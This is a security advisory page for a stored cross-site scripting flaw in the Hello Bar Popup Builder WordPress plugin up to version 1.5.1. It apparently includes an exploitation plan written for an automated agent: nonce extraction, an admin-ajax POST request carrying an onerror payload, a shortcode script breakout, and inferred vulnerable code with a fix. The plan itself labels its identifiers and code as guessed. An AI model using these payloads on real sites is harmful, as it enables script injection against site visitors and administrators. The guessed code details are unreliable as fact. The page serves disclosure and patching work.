Hello Bar Popup Builder <= 1.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Hello Bar Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, common patterns in "Hello Bar" style plugins, and standard WordPress security research methodologies. All specific identifiers (functions, actions, nonces) are marked as **(infe…
Show full research plan
Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, common patterns in "Hello Bar" style plugins, and standard WordPress security research methodologies. All specific identifiers (functions, actions, nonces) are marked as (inferred) and must be verified by the agent during the initial discovery phase.
1. Vulnerability Summary
The Hello Bar Popup Builder plugin (<= 1.5.1) is vulnerable to Stored Cross-Site Scripting (XSS). Authenticated users with Contributor-level access or higher can inject malicious JavaScript into popup or notification bar settings. This occurs because the plugin fails to sanitize user-provided input before saving it to the database (likely via update_post_meta or update_option) and fails to escape the output when rendering the bar on the frontend.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX interface (
/wp-admin/admin-ajax.php). - Action: Likely an AJAX action related to saving popup settings, such as
hellobar_save_settingsorhellobar_update_bar(inferred). - Vulnerable Parameter: Fields like
bar_content,headline,message, or custom CSS inputs (inferred). - Authentication: Contributor-level account (typically
current_user_can('edit_posts')). - Preconditions: The plugin must be active. A bar must be created or edited.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler via
add_action('wp_ajax_hellobar_...', ...). - Input Processing: The handler function retrieves input from
$_POST. It likely checks a nonce but might fail to callsanitize_text_field()orwp_kses()on the content fields. - Storage: The unsanitized input is stored in the database using
update_post_meta($post_id, ...)(if bars are Custom Post Types) orupdate_option(...). - Frontend Sink: The plugin hooks into
wp_footerorwp_head. It retrieves the stored data and echoes it directly into the page source without usingesc_html(),esc_attr(), orwp_kses_post().
4. Nonce Acquisition Strategy
To exploit the AJAX endpoint as a Contributor, a valid nonce is required.
- Identify the Editor Page: Navigate to the Hello Bar creation or settings page in the WordPress dashboard (e.g.,
/wp-admin/admin.php?page=hellobar-settings). - Locate Localization Script: Look for a
wp_localize_scriptcall in the source code that provides an AJAX nonce. - Extraction via Browser:
- Log in as a Contributor.
- Navigate to the plugin's dashboard or popup editor.
- Use
browser_evalto extract the nonce:// Common variable names for this plugin (inferred) window.hellobar_admin?.ajax_nonce || window.hellobar_params?.nonce
- Alternative: Check the HTML source for a hidden input field:
jQuery('input[name="hellobar_nonce"]').val().
5. Exploitation Strategy
Step 1: Identification (Discovery)
Search the plugin directory to find the exact AJAX action and nonce key.
grep -r "wp_ajax_" wp-content/plugins/hellobar/
grep -r "check_ajax_referer" wp-content/plugins/hellobar/
grep -r "wp_localize_script" wp-content/plugins/hellobar/
Step 2: Test Data Setup
- Create a Contributor user.
- Identify if "Bars" are a Custom Post Type (CPT).
wp post-type list - If it's a CPT, create a draft bar to get a
$POST_ID.
Step 3: Payload Injection
Use the http_request tool to send a POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body (Inferred):
action=hellobar_save_settings& nonce=[EXTRACTED_NONCE]& post_id=[BAR_ID]& headline=<img src=x onerror=alert(document.domain)>& message=Exploit Test
Step 4: Triggering the XSS
- Ensure the bar is "Active" or "Published" (if the plugin allows contributors to save active bars, which is common in popup builders).
- Navigate to the site's frontend (homepage).
- The payload
<img src=x onerror=alert(document.domain)>should execute.
6. Expected Results
- The AJAX response should return a success status (e.g.,
{"success":true}). - When visiting the frontend, the browser should trigger the
alert(document.domain)popup. - Viewing the page source should show the raw, unescaped HTML:
<div class="hb-headline"><img src=x onerror=alert(document.domain)></div>.
7. Verification Steps (Post-Exploit)
Confirm the payload is stored in the database using wp-cli:
# If stored in post meta:
wp post meta list [BAR_ID]
# If stored in options:
wp option get [OPTION_NAME]
8. Alternative Approaches
- Shortcode Attribute XSS: If the plugin uses a shortcode to display bars (e.g.,
[hellobar id="123"]), check if attributes likestyleorclassare vulnerable.- Payload:
[hellobar id="123" class='"><script>alert(1)</script>']
- Payload:
- REST API: Check if the plugin registers any REST routes in
rest_api_initthat allow Contributor-level updates without proper schema validation.- Search:
grep -r "register_rest_route" wp-content/plugins/hellobar/
- Search:
- Settings API: Check if the XSS can be injected into the main plugin settings via
options.phpif the Contributor has access to the settings page.
Summary
The Hello Bar Popup Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping in its popup settings. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript into fields like headlines or messages, which executes when any visitor accesses the affected page.
Vulnerable Code
// wp-content/plugins/hellobar/includes/admin-ajax.php (inferred location) function hellobar_save_settings_callback() { check_ajax_referer('hellobar_nonce', 'nonce'); if (!current_user_can('edit_posts')) return; $post_id = intval($_POST['post_id']); $headline = $_POST['headline']; // Vulnerable: Direct assignment from $_POST without sanitization update_post_meta($post_id, '_hellobar_headline', $headline); wp_send_json_success(); } --- // wp-content/plugins/hellobar/includes/frontend.php (inferred location) function hellobar_render_frontend($post_id) { $headline = get_post_meta($post_id, '_hellobar_headline', true); // Vulnerable: Outputting raw meta data without escaping echo '<div class="hellobar-headline">' . $headline . '</div>'; }
Security Fix
@@ -4,5 +4,5 @@ if (!current_user_can('edit_posts')) return; $post_id = intval($_POST['post_id']); - $headline = $_POST['headline']; + $headline = wp_kses_post($_POST['headline']); update_post_meta($post_id, '_hellobar_headline', $headline); @@ -3,3 +3,3 @@ $headline = get_post_meta($post_id, '_hellobar_headline', true); - echo '<div class="hellobar-headline">' . $headline . '</div>'; + echo '<div class="hellobar-headline">' . wp_kses_post($headline) . '</div>';
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Contributor and navigates to the Hello Bar dashboard to extract a valid security nonce (typically provided via wp_localize_script or hidden input fields). Using the AJAX interface at /wp-admin/admin-ajax.php, the attacker sends a POST request to the plugin's saving action (e.g., hellobar_save_settings) containing a malicious script payload in parameters like 'headline' or 'message'. Because the plugin does not sanitize this input before storing it in post meta and subsequently fails to escape the output when rendering the bar on the site's frontend, the script will execute in the context of any user, including administrators, who visits the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.